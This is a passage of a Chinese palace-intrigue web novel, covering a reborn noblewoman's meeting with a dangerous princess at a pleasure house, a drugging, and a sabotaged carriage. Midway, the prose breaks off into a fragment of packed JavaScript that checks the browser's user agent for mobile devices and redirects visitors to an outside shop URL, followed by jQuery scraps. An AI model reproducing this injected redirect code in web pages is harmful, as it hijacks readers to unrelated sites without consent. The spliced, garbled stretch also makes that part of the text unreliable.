雅间大得空旷,暗卫“犯”跪在谢袭容座下,垂首低声:“主子,如屈大人所言,孝王此刻已进入织丹夜阙内。” 谢袭容捻着桃花杯,温酒入喉,语气没什么波澜:“消息封锁了?” “属下已办妥,太后绝不会知道孝王行踪。” 阿犯应答,接着说今夜的部署。 谢袭容听着,忽因五感的极度敏锐,从茫茫人海中精准捕捉到一个轻灵的声线。 ‘这儿的规矩是买卖自由,不问来处,对吧?’ 探索欲挑起,他向窗外投下目光。 无需仔细搜寻,一眼就看到那个清丽羸弱的身影,傲气迎人地立在车头。 头戴帷笠遮着脸,却逃不过他的洞烛明睛。 这不是早晨还跪在他跟前,凄惨可怜、求他庇护的小泥腿子么。 车上 ,她动身跃下,衣衫的律动干净飘逸。 他转杯的手微顿。 呵,腿倒是利索了。 她们的交谈声,和阿犯的说话声都在继续。 蓝袍女子往车里细看,啧啧道:“一个婢子细皮嫩肉,想必也是跟千金小姐同伴同长,真是投生了个好主家。” “确实是与我一同长大的丫头,你要吗?便宜卖给你。”沈乔笙坦言。 “我们坊里不差钱,这品相可以给八十五两。” 沈乔笙段然拒绝:“不要。” “你要多少?九十,一百?” 沈乔笙想了想:“两文钱。” “啊??” 蓝袍女子多年购买人口以来,两文钱的货色真是闻所未闻, “我没听错吧小姐,这该不是什么残疾玩意扔给我们吧?” “我保证她四肢勤健,只是心眼颇多,你且防着。” “为何只收两文?” “因为她一文不值。” 终于发现贴身侍婢是太子爪牙了? 谢袭容把盏抵唇,眼里倒映斑斓光色。 好一个扮猪吃虎,人前委屈柔弱,却敢来这种地界,大张旗鼓把贴身婢女两文钱卖了。 阿犯说着:“‘阿狩’昨日任务完成,现已在外听候差遣……”突然听见自家主子阴恻恻笑了一声, “早该捏死她。” 捏死?捏死谁?阿狩吗? 阿犯顿时冷汗沁出,心里发毛。 为何突然赐死?他开始疯狂回忆,狩这小子哪里得罪了主子?还是任务出纰漏了? 都没有啊! 楼下的交易已到尾声,健壮的打手将婢女拖出带走。 谢袭容意兴阑珊地收回目光,没错漏下刚刚阿犯的话,安排道:“嗯,让他去办吧,办完回去领赏。” 阿犯又懵了。 刚不是还说捏死他,现在就要赏赐了? 虽然主子时常阴晴不定,但雷霆雨露转变得也太快了吧。 犯不敢多问,压着满腹疑惑退下,闪身隐入暗处无踪影。 到点,雅间的门轻轻叩开,两列乐师鱼贯而入,有序跪坐在席尾,悠扬婉转的曲律飞流而出。 谢袭容端坐梨花木桌前自斟自饮,半阖着眸子听舞乐歌声,片刻闲情。 浓密如瀑的秀发被玉带高高绑束,形成长尾垂坠,窗扇大敞,穿入刮骨的寒风他好似全无冷感。 一杯饮尽,他心生无聊,耳边的高雅节目毫无新意。 还不如这扇窗,能俯瞰街景。 怪吸引人的。 他支起额角,再次往下看去。 那一尾白还不曾离去,在繁华锦绣的春洪街上流连忘返。 一会儿游上去摸摸兽骨面具,一会儿又折回来戳戳蝎子干蜈蚣条,全然不知几双眼睛正对她大肆观察。 真是条漂亮的小呆鱼。 像是应了他心声,沈乔笙忽有所感地警觉起来。 毕竟是跨越阴阳之人,她直觉格外强烈,总感觉有人在凝视自己,街上有,楼上也有。 四下观察却很难发现视线来源,抬头仰望织丹夜阙,也被通明的灯影晃得看不清。 思虑片刻,她下定决心,提裙踏进织丹夜阙的大门。 谢袭容挑眉略来了兴味,含杯一口咽下屠苏,沾湿的唇水光釉润。 鱼儿呆鱼儿。 游到更危险的地方了呢。 8.008 迷药 兰灯吐焰,桂魄朗辉,此间唤作 <织丹夜阙>。 沈乔笙步入门中,仿佛来到另世。 楼体通间高至百尺,飞檐翘角斗拱相接,其内金碧辉煌,多少显赫充盈其中。 “贵客玩点什么?今日地下赌庄有万金局,楼上竞卖场有天灯会,可要赶个热闹?” 狐狸脸覆面的小二悄无声息,迎上来招呼沈乔笙。 沈乔笙连忙摆手。 小二尖利地笑了两声:“贵客请便。”一阵烟似的又飘走。 她仰头,上空是巨大的天井,几乎能通顶星空,楼层上果然亮起许多别致的灯,每一盏都价值连城。 她今天来这里,有两件事: 处理掉繁芜。 等人。 简心年纪尚小,不适宜接触太多,总归还缺个可用的心腹。 上辈子途径此处,她在一名唤‘圆圆’的卖炭女手中买过炭。 圆圆自述母亲病逝,恳求收留她做粗使丫头,不要钱,只想跟着小姐。 沈乔笙给了笔安置,终究没带她走。 后来嫁去东宫的途中,侯府突然走水,杨氏的遗物还在家中,沈乔笙没有回头路,只能边哭边随花轿摇荡前行。 待到亡魂重游故地,听闻有一卖炭女曾只身闯入大火,抢出杨夫人生前戴的玉镯,事后烧伤不治而死。 有人十年为伴,笑里藏刀。 有人一炭之恩,扑火相报。 她从感触中收回视线,却一眼在楼上看见灰扑扑的眼熟身影。 圆圆?! 真叫她猜对了。 三教九流,织丹夜阙不限制任何人入内。 她在春洪街外穿行许久不见人,就猜到圆圆无牵无挂,也许会冒着得罪豪绅的风险,进来兜售木炭。 人一晃神没了影,沈乔笙向楼上追去。 二至五楼都是金银彩帛交易场所,没有抵押不可进入,她只好顺势上六楼搜寻。 相比于下五层,这里重叠红纱轻掩,不知名奇香弥漫,氛围旖旎得有些过头。 她刚深入几步,顿感头脑昏涨。 知觉香味有异,她急忙退后试图原路返回。 震荡间,周围房中男欢女笑,作乐声四下盘旋,幻真交织,在曲折回廊中缭绕不已,令她更加脑热耳鸣,几乎辨不清方向。 “砰”! 面前的房门陡然炸裂爆响,一个八撇胡男人随之破出,衣衫不整地重摔在地。 沈乔笙目瞪口呆,顾不得头痛,快步绕到廊柱另侧藏身。 八撇胡挣扎爬起,身上唯一的衣服已然破烂,他十分惧怕地往门里看了眼,不管不顾撒腿就跑。 “谁敢动我!知道我母后是谁吗,本王出事你们所有人都要陪葬!” 他虚张声势地说完便大叫救命。 可楼下喧哗亢奋,无人听见他的呼救。 里面到底有谁要杀他?一直都不露面。 受迷香影响,他疯狂逃窜却找不到出路,一圈圈绕回原地,看见漆黑的门洞再一次尖声跑远,又绕回,周而复始。 沈乔笙听着他癫狂喊叫,听他撞翻沿廊盆栽的噪音刺耳,她蹲在隐蔽处不敢动,尽量减轻呼吸缓解头晕。 她完全没预料到会碰上这等意外。 不想节外生枝,更不想得罪追杀他的幕后之人,只能祈祷闹剧尽快收场。 头越来越昏,眼前的光亮暗了下来,她即将支撑不住时,一片浓郁的阴影从上层倒挂金钩地探下来,黑衣少年腾身,蝙蝠似的振衣翻进走廊。 沈乔笙短暂清醒。 这人,她认得。 长公主的暗卫,犯。 鬼叫传来,八撇胡迈着零碎的小跑步再次回到原点。 阿犯对沈乔笙视而不见,见机出腿疾厉,踢出个六角花盆摆架停在路中央,显然是打算绊倒他。 八撇胡呼哧奔跑,不时回头查看,全没注意到脚下阻障。 说时迟那时快,沈乔笙用力推出手边的细腿藤桌,一举撞飞阿犯设好的路障。 八撇胡就这样毫无阻拦地跑了过去。 阿犯惊讶地瞪她。 好在,留在门内之人终于闪身追出,魅影风驰电掣划过,骂声响亮:“死狗给的软骨香真他娘的够劲!爷爷我都得迷瞪一会儿!” 眨眼间,精疲力竭的八撇胡就被阿狩一掌劈晕。 阿犯严厉纠正:“闭嘴,你是生怕主子不活剐了你。” 沈乔笙蹲坐在地昏昏欲睡,失去行动力。 阿犯手指向上方,示意主子在,“小狼已提前给我们解药,你自负不吃,差点耽搁任务,还不下去领罚。” 刚还风风火火的狩,顿时惊恐地住口,蔫巴下来。 他想这会子完了,闯祸了,凭主子的耳力绝计是瞒不过的,阿犯斥责他也是在帮他,也该识相些才好。 见狩收敛,拖着孝王默默退下,阿犯也稍松口气。 弟啊,主子刚说要捏死你,这又出岔子,哥已经努力救你了。 阿犯这样想着,转而把视线投在沈乔笙身上,出手一把揪住她的后衣领,敏捷跃出楼外,飞上第七层。 拔地而起的勒窒感卡住脖子,她刚睁眼,就被人推进一间雅室。 这力道粗鲁的推搡,有点熟悉。 丝竹管乐骤停,琵琶弦正揉乱。 冷风扑面,她不自觉地颤栗,热意散去几分,头脑还是胀痛不太清醒。只隔着自己的帷纱,模糊看见上首坐着一位身姿修拔如竹之人。 皎似一轮东山玉蟾,不可接近。 众人徐徐退出,室内重归寂静。 “主子,方才追捕孝王途中,这女子也在场,还险些阻碍行动。” 沈乔笙只能听见有人在说话,却思维迟钝,无法理解,保持站立已经耗尽力气,她愣然张口学舌: “主子……” 后面忘了。 天边的月亮隐约问她:“主子?沈乔笙,你在叫谁?” 这个简单的问题,她听懂了,却怎么也回答不上来,只能如实说:“我看不清。” 很好,又把篓子捅到他头上了。 谢袭容思索着,平时若有人惹他,他会怎么做来着? 哦对,会把人一片片剜成生肉,薄而剔透的,焉浚宫后山的鹰鸮和野猞猁最爱吃。 “看不见就走近点。”他引她过来,危险如烟弥漫。 沈乔笙听话照做,只是步履飘忽得厉害,还没走到就维持不住平衡。 在最后接近时加快脚步,摇晃地彻底跌坐在那人腿边,下意识攀上手边的大腿,勉强支撑住。 娘嘞!! 飞檐走壁不在话下的阿犯差点吓得平地出溜。 阴鸷不愉从谢袭容齿隙泄出。 “啧。” 他无情撤开腿,沈乔笙瞬间失去支点,臂膀往地板趴倒下去,额角猝不及防撞在他的膝盖上,痛得清醒片刻。 帷笠也歪倒一旁,从发顶滚落,露出她涨红异常的脸。 她捂着头仰视过去。 但见谢袭容鬓如刀裁,匀长颈项,发丝随风描摹削薄的下颌线,瑰奇冷艳的皮囊下,怎该是馥郁又清孤的神魂。 “看清了么?”谢袭容稍显不耐。 好烦。 她直勾勾的眼神,让他很烦躁。 中了迷药都不安生。 什么时候把她这双眼珠子挖出来,盘着玩才好。 “是公主殿下!我就知道,得罪您是见到您最快的方法。”她用力眨眨眼,微哑的嗓音里尽是惊喜。 说她胆大,原来她也知道织丹夜阙危险。说胆小,却敢向另一个危险寻求安全 谢袭容眼眸微垂睨着她,语气有两分赞许,和八分的杀意:“不错,那你明白见到本宫的后果是什么?” 是抽筋扒皮,求死不能。 她脸颊粉红,呆愣愣地歪头看他,分外理直气壮:“会找到圆圆。” “圆圆谁?”他眯了眯眼。 她撑起身子,努力在他腿间调整跪坐的姿势,手在空中胡乱比划:“圆圆就是个卖炭的小姑娘,大概这么高,这么瘦,穿粗布灰衣服。” “然后呢?” “然后殿下找她。” 颐指气使的态度让谢袭容眉尾跳动。 她一次次出现他周围,靠近再靠近,怀有目的也很坦诚,甚至明着对他利用,一会儿要亲近他,一会儿要他找人,勇气可嘉到莫名其妙。 “你比早上胆量见长,沈乔笙。” 他信手按在杯沿,慢条斯理转动酒杯,杯底与桌面研磨出低吟的声响。 犹似磨刀霍霍。 被药效挑拨的她错以为这是夸奖,支起腰板说:“当然啦,殿下是我见过最睚眦必报的人!旁人施恩殿下未必会记,但若是得罪殿下,必会招至跗骨之蛆般的报复,此招虽有用,但凶险。” 说得好。 天下芸芸之口,无外乎斥骂他如此这般狠戾,万人皆畏他阴凝毒辣,同样的话听太多了,腻烦得很。 这张樱桃小嘴很会说,可惜不如她的眼睛懂得软语婉转。 谢袭容把玩杯子的手停住,盯视着她,莞尔命令:“去找她要的人,抓来一起杀。” 阿犯黑影一闪消失。 沈乔笙闻言焦急起来,想要起身去阻止。 “别 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“虽然出身天潢贵胄,但长公主和别人不一样,他们表面贤良谦让,背地里竟有使不完的诡谲手段,都是权力厮杀,殿下只是不假装和顺,有什么错?” 谢袭容唇角紧抿,眉目低沉下来,氤氲着截然不同的漆黑风暴。 她的脸在冷风中褪红, “乔笙景仰殿下已久,从不曾见殿下夺无辜之人性命。” 景仰已久?他在探知这四个字。 在别人面前高贵教养,样样乖巧,偏在他这里显露反骨,不断挑战他的耐心,踏足雷池还不自知。 她对他,就是这样景仰的? 她口中的这份景仰,是为她姐姐出塞的缘故?还是沈侯的授意?又或者,屈从皇后指使? 谢袭容凌驾于她,保持绝对清醒地旁观和探究。 他抽回手,沈乔笙失去借力,扒拉半天,勉强在他的座椅上重新找到支点,扬起脸几乎贴近他胸口: “殿下真的不要我吗?等我嫁给太子就来不及了。” “你嫁给谁与本宫有关?”他轻蔑地移远凳子。 “太子与侯府结合非同小可,暗处危机横生,殿下若肯给予我庇佑,乔笙自愿投桃报李。”她又追过去扒上他凳子边,非常认真地说, “就像当年,姐姐能替殿下出嫁刺杀朔北王,现在我要出嫁同样可以杀了——呜” 他方落下的手一把扣在她嘴上:“想死?” 沈家出的尽是些夯货么?九族脑袋挂在嘴上轮番溜弯。 谢袭容眼神在说脏话。 沈乔笙又理解错,脸颊挤压变形,囫囵不清地妥协:“乔笙不说了。殿下要我死,定是因我三番两次得寸进尺,惹殿下忍无可忍,是我的错。” 她眼睛朦胧失焦,却格外晶亮,编扎工整的辫子软绵绵撂在肩上,在纤细的脖颈搭绕一圈,垂坠的尾巴在胸前不安分晃荡。 笑着说话时若隐若现虎牙尖尖,无端让人联想到套着颈圈的小犬。 毛茸茸的白净。 近乎鬼使神差,他的手从她唇上滑落至辫尾,缠绕掌中,施力扯过。 不重,轻易带她靠至近前,她绷起的身体几欲同他触到一起。 谢袭容冷然告诫:“看来还有自知之明,看来你也清楚你在本宫这里,已经没机会了。” 沈乔笙谨慎求情:“若是乔笙非死不可,殿下放圆圆回去卖炭好不好?毕竟您从不滥杀无辜的。” “溜须拍马。”他很容易就抖落出她的有恃无恐。 她真的不怕死。 也不怕他。 只是溜圆的眼睛闪烁两下,心虚地飘向别处。 更像小狗了。 谢袭容完全掌握她的动机,却不明白她对他的熟稔出自何处。 又从何开始验证呢? “沈乔笙,你不是想亲近本宫么?” 他唇舌吐露的热意,在寒冷气流里的炽烈逃奔,余温扑在她耳朵的涡廓,害得耳尖止不住颤动。 “本宫可以给你靠近的机会,但机会和你的圆圆之间, “你只能选一个。” 9.009 解药 沈乔笙转动灵汪汪的双眼,张口便答:“殿下宽宏大量,贤德无双,乔笙自当唯殿下马首是瞻。” 她话音方落,阿犯霍然闪回。 十八暗卫是尸山血海里炼出来的杀器,但有长公主府得天独厚的气韵熏陶,阿犯比寻常人家的少公子还要贵气几分。 此时他背上是脏兮兮的炭篓,手里拎着个拼命踢打挣扎的女子。 他闷不吭声松手站远,却透露得灰头土脸起来。 沈乔笙霎时亮了眼睛,扭身就扑向那女子喜道:“圆圆!” 听见人叫自己名字,灰衣姑娘抱头反抗的动作停顿,抬起头来,顶髻扎成双丸子,包子脸饱满圆钝,富有生机。 眼前这位小姐气质不同凡响,远位上成熟深沉的贵女,更是神英脱凡。圆圆直觉她们都是不得了的人物,便问道: “圆圆有眼不识泰山,敢问贵人有何吩咐?” 是受了些惊吓,却不怯场。 “我来自定邺侯府,名唤沈乔笙。” 沈乔笙伸手整理好她微乱的额发,如是介绍自己。 回头看了眼好整以暇的谢袭容。待圆圆缓和点头,才继续表达来意, “抱歉唐突你,我已等你许久了,” 从死后做孤鬼开始就在等,奇怪的是,不管是圆圆还是父母兄弟,沈乔笙都没见过她们的亡灵。 他们先一步被无常阴司勾走了吗? 为什么只有她留下来,只有她轮回而来。 “我知道你母亲已经故去,房屋田舍被叔叔强占走,你无依靠,恰好我在家中也孤立无援,若你不嫌弃可来我身边侍奉,虽不富贵,但也绝不让你再受饥寒困苦。” 沈乔笙接着保证:“主仆相称是为了方便留你在府中,不需身契,权当一份差事,日后你想走也尽可自由离去,我只看中你这个人。” 嗯? 不是刚还说唯殿下马首是瞻? 谢袭容放下交叠的腿,皱眉细品她的话。 所以刚才,她并没选他?只是说了几句恭维话哄他? 暖色灯光敷在她薄红未褪的面颊,净亮的水眸认真而透彻。 背影轮廓泛出怜弱的融光,尽收他眼底。 好得很,他现在看中她这条小巧伶俐的舌头了,一会儿拔下来收着。 圆圆起先惊异,后来触情伤怀。 她心道这位沈小姐是和善人,自己孤苦伶仃,索性手脚还算勤快,何不应下这份差事,左右有口饭吃,何用回去看叔婶脸色? 她正张口欲应,沈乔笙却急忙再道:“但是圆圆,跟着我并非从此无忧,甚至……可能会有危险,此去安危荣辱与共,你且仔细考虑。” 圆圆未出口的话沉寂下来。 谢袭容不动声色,敛眸光沉着,斜眼将她从头至尾摩观。 堂堂定邺侯府,她却说不富贵。 不富贵的是侯府,还是她本人? 她毫无疑问有些小聪明,知道自己一日占着太子妃位,一日就是众矢之的。所以就算害怕,也总豁出去在他身上一头冲陷。 对于圆圆,是安危荣辱与共。 到了长公主这儿,就是利益交换,还敢张口提杀人。 谢袭容心下嗤之。 那厢圆圆天人交战。 失去母亲后没人关心过她,更没听过‘护你无虞’、‘荣辱与共’这般情义之言。 也罢,若得赏识关爱,就是赴汤蹈火又有什么所谓? 圆圆也属性情女子,拿定主意后一拍胸脯道:“若是小姐此言不假便带我去吧,我必知恩图报。” 这句话与上辈子的圆圆隔世重叠,沈乔笙不禁模糊了双目。 “你报不了。” 谢袭容凉淡的声音横空打断煽情。 他起身迈步,身是临风玉树,旁若无人地从她们中间穿过,撂下一句“带走”便施然离去。 沈乔笙:“啊?” 圆圆:“啊?” 阿犯瞬步上前来将圆圆捉住,在人惊声尖叫前一掌劈晕,扛出门去追上主子。 沈乔笙懵了。 这怎么……还能直接抢人呢? “等等!” 顾不得思考长公主的心思,只怕圆圆真被带走,她用力撑起身体爬起来。 未褪的药劲儿冲上头颅,她跌撞得撞在门上,等不及稳住脚步,仓惶提裙追去。 她觉得自己已经跑得很快,却依旧追不上闲庭信步的谢袭容。 “不要带圆圆走,不能欺负圆圆!” 她不敢高声呼叫叫长公主殿下,只能为圆圆辩声,左右踉跄不慎撞上扶栏,也只有捂着痛处走快些。 谢袭容长步流星,余光在转角瞥见她晕头转向的模样,对阿犯吩咐的口吻冷厉几分:“把那个混账叫回来,带着他的解药。” “是。” 阿犯扛着圆圆点足飞身离去。 谢袭容一步未曾停滞,速度却若有似无的慢了些许。 他在侍者恭敬的引导下,踏上由机关控制升降的花台。 台面宽阔,四周缀饰花束、宝瓶、银镜等美物,上方珠帘玉幕垂坠,隐约遮蔽台上人。 帘珠微动,狩已来返,跪在谢袭容面前,双手献上白瓷瓶一只。 谢袭容丢去浅淡一瞥,无字句,睥睨的眼神有如冰刃刮骨,即溃兵锋。 阿狩霎时浑身震颤,扑通一声猛地叩头,触地砰砰。 平台在机扩的轰嗡声中开始下降,沈乔笙脚步凌乱,竟敢翻过护栏直接跳下来,跌落的身影扑入红粉帐中,珠帘哗啦啦在他手边摇散。 忙乱中她探出手,从后方攥握住他的手指。 谢袭容取走药瓶,阿狩见势绝不敢多言,消失得更加轻悄不惹起一丝流风,来去都不被沈乔笙发觉。 “你一直这么胆大妄为?” 谢袭容拂袖回身,瞥了眼被她抓紧的手,表情不明,像是几分讥讽的揶揄,不像有怒意。 是指她跳台子的鲁莽? 还是指抓着长公主的手,触碰贵体的冒犯? 沈乔笙无心礼数,也不肯放手,急切道:“殿下睿智果断,圆圆情真意切,二位的好品质乔笙自愧弗如,更没有资格妄作评选。” 她眼波荡漾涣散:“可是殿下不同,殿下金尊玉贵尽可以收我入囊中,若能承蒙不弃,乔笙必与殿下坚贞无二。” 谢袭容单手慢条斯理拨开瓶塞,倒出一粒暗红的药丸滚入指间,问她:“你知道每天有多少人向本宫表忠心?你献媚的功夫和他们相比,与垂髫小儿蹒跚学步无异。” 沈乔笙的脸微微涨红:“我……我靠的不是献媚,我与旁人自不相同。” 他偏过头凑近细看她的茫然,“孩童就这样和大人顶嘴的。” 她半羞愤半委屈:“才不是空口顶撞,殿下容我,本就是值得的。” “行,本宫可以容你,够仁慈了?卖炭的就用来杀着玩吧。” “不可以,圆圆是好人,该长命百岁。” “也行,留她,杀你。” “不可以,乔笙要护送殿下千秋永乐,万世无疆。” 齿轮停转,花台落地轻震。 她的话似乎超出对一位公主的祝祷,而抵达了君臣的高度。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941694|146279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她抓着他的手,他收臂稍用力,忽地将她扯近,两指挟药丸伸入她讶异微张的口腔。 他垂落的眸光炼烫她的脸,低声哼笑:“这也不行那也不行,你倒是难伺候。” 沈乔笙口中虚含着他刚玉般的长指,下意识喉头滚动,药丸就被她主动咽进干涩的嗓子眼。 他的手指并没有碰到她湿滑的舌根,或是内壁的软肉,于是更能感知她口中氤氲的潮热吐吸。 更被她暝朦的眼神缠搅。 感官比血腥带来的刺激更令人心生燥欲。 松手撤离,他捻弄指腹余温,终于,冷嘲的神情显露出一丝兴味:“选你值不值得,可要看你的本事。” 化散的药丸卡在胸腔处上不去下不来,她噎得说不出话,抬手使劲捶拍胸口,和药丸搏斗僵持。 狐狸脸小二极有眼色,迎来送上茶水,她忙不迭捧杯喝下。 谢袭容抽身行云流水阔步下台,向楼外飒然离开。 沈乔笙这厢自顾不暇,待药丸顺利入腹,平复呼吸后,再抬头,哪还有谢袭容影踪? ** 今晚之事已转圜不得。 幸好谢袭容言下之意不会随意伤害圆圆,思及此,沈乔笙焦急的心情安定些许。 暂且归家休整一晚,第二日天微明,宫里准时派人来宣沈乔笙,为的正是她太子妃修习事宜。 灰蒙门下悬着绫绢红纱灯,打透稀薄晨雾。沈乔笙等家丁套好马出来,迎面瞧见准备赶往早朝的沈叁。 两人相逢点头。 沈参穿一身吐绶蓝官服,个头算不上很高,身形清瘦,气质明朗,最有特点的是一双丹凤眼,眼尾小幅度的吊梢,确实和沈乔笙这位表妹有三分神似。 他的车狭小破旧,只有一位贴身小厮,为他固定好磨破的马嚼子,正要扶他上车。 “二姐姐,兄长。” 有嫣然巧笑声叫住他们二人,回头竟是沈华彤站在外仪门轻轻招手。 “二姐姐今日进宫修习,是与太子殿下作伴?”沈华彤一展花颜,烂漫无邪。 沈乔笙回忆了下,如实相告道:“一些礼仪课业而已,太子日理万机,不会亲自来见我。” 沈华彤微不可闻地松了口气。 沈乔笙不到吐息间便转变口风:“不过也说不定,东宫对这桩婚事还是极为重视的。” “……是吗?”沈华彤的笑意僵住,瞧了眼不远处静静等待的沈参,转而展现出明媚和煦,似乎一闪而过的狠恶只是沈乔笙的幻觉, “太子重视那自然最好不过,二位趁早出发吧,毕竟都是有官有衔在身,路上可需当心些。” 沈乔笙点到为止,还以一礼后登上如意牡丹车。 沈参谦让,让她的车先驶过门。 沈乔笙掀开窗帘向他致意,不着痕迹地回头望一眼沈华彤。 重门之中,沈华彤身穿明绿萱花长褂裙,柳腰隐在雾里似一条青妖蛇,笑盈盈的盯着如意牡丹车。 冬季时间赶早,街坊市井都还未醒来,一大一小、一繁一简两辆车相继从侯府驶出,马蹄在空旷街头踢踏清响。 没有人看见,前头那架如意牡丹车越跑越快,逐渐与后头的简朴小车拉开距离,直至瞧不见踪影。 那牡丹车的配马双眼充血,鼻孔大张粗气嘶喘,那样子狂躁不安,直管撒蹄子朝前奔。 飞也似的冲出长街,直奔皇宫而去。 最终马儿长嘶一声口吐白沫倒下,猛烈撞在皇宫西华门外的水龙桥柱上。 伴随一阵巨响,车体从索套连接处崩解,车身轰然侧翻,那马与车,先后坠入河中。 10.010 解困 这声响惊动皇城守卫,不肖片刻,禁军鱼贯而出将桥面戒严。 有查证文牒的宫人碎步跑出,尖声唱道:“现下打这儿入宫的该是沈侯府二小姐!都别干看着了快救人,可别叫钦定太子妃出了好歹!” 兵卒这才乌泱泱寻来竹竿、捞网等物,预备探下河寻人。 忽而有人听见远处滴答的马蹄声,不久,一辆杂马拖行的小车慢悠兜到水龙桥边。 “什么人?胆敢擅自接近皇宫!” 守桥士兵见此车狭小简陋,便不觉得上头是贵人,此时又为营救太子妃乱得不可开交,便更没有好脸色,直舞着兵戟挥退老马。 车帘缝探出一只纤细柔荑,手握玉牌示下。 “沈氏乔笙,见过各位大人。” 抄家伙搜援的纷纷停下动作,那士兵态度剧变,赶忙收了兵器赔笑。 沈华彤暗中给她的马下药,上辈子的此时,她正在冰河里扑棱呢。 那时今日,她上岸时已临近退朝,混乱惊动了不少朝臣,太子谢冠听闻出事,也迫于事态前来关注,恰见她浑身湿透污脏被人群指点围观。 之后很长时间内,谢冠都在责怪她丢脸。 即使她是受害者。 即使她伤寒久难愈,还在害怕耽搁课程,坚持拖着病体每日入宫。 届时在河岸捞车的人大喊道:“是辆空车!” 玉手隐入帘内,沈乔笙即命启程:“无人受伤便好,走吧。” 说罢不给众人疑惑猜度的时间,马车过桥继续行过百丈,她自是维持着贵女的矜骄,入了宫门方才下车。 沈华彤意图加害,她不是不想立刻反击,但眼下唯有暂避风头是简单有效的对策,没有时间可以浪费。 所以今早她选在沈参早朝时出发,出门便换上他的车,待他入朝后再改道西华门。 只要不乘注定落水的车,就能避免与太子纠葛。 先前呼救的短眉宫人快步跟上来,殷切地为沈乔笙引路。 她无言瞥他一眼。 他下意识擦去头上冷汗,讪笑搭话,“万幸姑娘安好,您若是出事咱家千万吃罪不起。只是姑娘今日的座驾简朴超常,究竟不知落水的宝车从何而来?” 短眉的身形高瘦,又含胸驼背,刻意将自己压得很低,形成一种怪异的卑躬屈膝,言语隐含试探和冒犯。 他一个前庭内侍,怎么问话好像在盘查她似的? 沈乔笙心里涌现怀疑。 只是顾念前世,曾是这人抢着营救她上岸,因此也客气回应:“或许是谁家看管不力,脱缰跑出来的罢。” 感谢关姨娘故意苛待,刻有沈氏家徽的驾與栓死扣严,只放给她日常出行用车。 如意牡丹纹样在壅京遍地都是,天色过早又没有目击之人,只要她咬死不知,谁能说疯马和她有关系? 沈乔笙活第二辈子,进宫如喝水,司礼监设好太子妃专用的学社宫府,她轻车熟路不需要带领。 偏这短眉宫人始终在她跟前,让她感到如芒刺背的不适。 还不等沈乔笙说退此人,便瞧见支道上一群人迎面走来,细看是群桃红柳緑的宫女栾僮,簇拥一身着柑黄的男子。 那爪牙狰狞的蟒袍逐渐清晰,沈乔笙如临大敌。 谢冠?这怎么可能?! 这次她不曾落水,就连马车掉下去都没起多大水花,除了几个看门侍卫外谁也没惊动,谢冠怎会被引来? 沈乔笙警醒过来,怒然瞪了眼短眉宫人。 怪不得紧张她的安危,又刺探她的动机,为谢冠做事可就全说通了。 没脸皮的阉货!竟然给谢冠通风报信。 那头谢冠气势昂扬地逼近,她不安的退却两步,他身边各色的宫女太监可不相让,团团围上来,人墙堵得不透风。 论样貌谢冠称得上剑眉星目,只是眼下常有一层不正常的淡青灰色,给人以阴郁之感: “见到孤不行礼,难道太子妃这礼教修习,要从最基本的敬重夫君开始学吗?” 谢冠心情不快,上来看见沈乔笙发愣,张口便是训斥。 意料之外的仇人相见,她光是控制自己眉头舒展别拧起,就要耗费许多力气。 纵然抗拒,她也不得不俯身,低下头,倔强却未曾低人一头:“虽为钦定,毕竟还不曾为妃,臣女不敢高攀,拜见太子殿下。” 用力咬紧下唇内侧的肉,可以暂时模糊心慌颤抖中,仇恨与疼痛的界限。 可惜谢冠听不出话外之意,是要跟他划清界限。 他从来就习惯她捧着供着他,给足他身为储君和未婚夫君的颜面。 他只会觉得这是她天生的礼仪风范,是她本该做的。 想到这里,谢冠心情愉悦起来,早朝被父皇训斥后又被提前赶出朝堂的阴翳一扫而空,随口关心道:“孤可是听说你的车落水特意赶来,你无碍就好,省了孤的事。” 爱人爱己果真一目了然,她安然无恙的好处,竟只是省事而已。 沈乔笙不卑不亢,说的话却夹枪带棒:“太子神通广大,乔笙才入宫门不过片刻,尚不清楚是谁家马车落水您就已经来了,可见前朝用人也尽在您手眼之中。” 谢冠终于回过味来,听懂沈乔笙的呛声疏离。 太子的性情是出名的暴躁易怒,当下,戴着翡翠扳指的手毫不客气挑起她下巴,硬质的玉硌得她生疼,“你什么意思?谁给你的底气这么和孤说话?” 自然是侯府嫡女的身份给的。 如今有赐婚圣旨制衡,于她既是枷锁,也是一张好用的牌,至少可以确定,谢冠真的很需要借侯府起势。 就算她态度差,他也不敢真的翻脸。 反正到头是你死我活,不必给以好脸色。 这是她从谢袭容身上学到的。 避让的锋利眼神,终于在他调拨的动作中挥剑而起,与他不耐烦的神色刀兵相见,激烈碰撞。 谢冠被她眼神震了下,指腹粗砺摩挲她的下颌:“孤亲自来接你,你就是这般不知好歹的态度?还是说……其实你一直以来厌恶孤?在跟孤演戏?” 冷厉扑闪而过,她勾起貌似谦逊的微笑回道:“乔笙岂敢。” 鸡皮疙瘩爬满身,沈乔笙咬牙还力对抗,谢冠难得正眼看这个女子,不再是从前那般,他召之即来挥之即去,无趣。 怎么好像判若两人? 不过原来是个有野性的,这就有意思多了。 征服欲作祟,他用手顺着她的下颌向上,若即若离触上她的耳,状似拨动坠子,实则借机揉摸她的耳垂。 像是淤潭里的泥鲶,膻腻腥臭,蠕动触感让人忍不住恶寒。 “你可是冤枉孤了,孤哪里是手眼通天?实在是身边无人可用啊。”谢冠肆意贴近她,沈乔笙难以忍受地退后一步。 谢冠再次欺压上去,几乎贴紧她耳侧,吐息黏腻:“原先有个叫贵禄儿的,手脚伶俐是个贴心人,可是在你我赐婚当日,他不见了。” 听见贵禄的名字,沈乔笙不受控制地哆嗦起来。 太监凄厉死相浮现脑海,鲜血织染成一张名为东宫的网,纠缠不休地捆锁着她。 她对太子冷淡些尚无大碍,可若是被指谋害东宫侍臣,便是大罪。 一瞬间无助惶恐占据心头。 不!不能自乱阵脚。 她偏头微笑拉开距离,语气和缓:“忠仆难得,您可要好好找他。” “是要好好找,当日孤派他接你,他竟一去不归,此后便如同凭空消失。” 谢冠一再贴紧她的耳垂,“你知道他去哪了吗?” 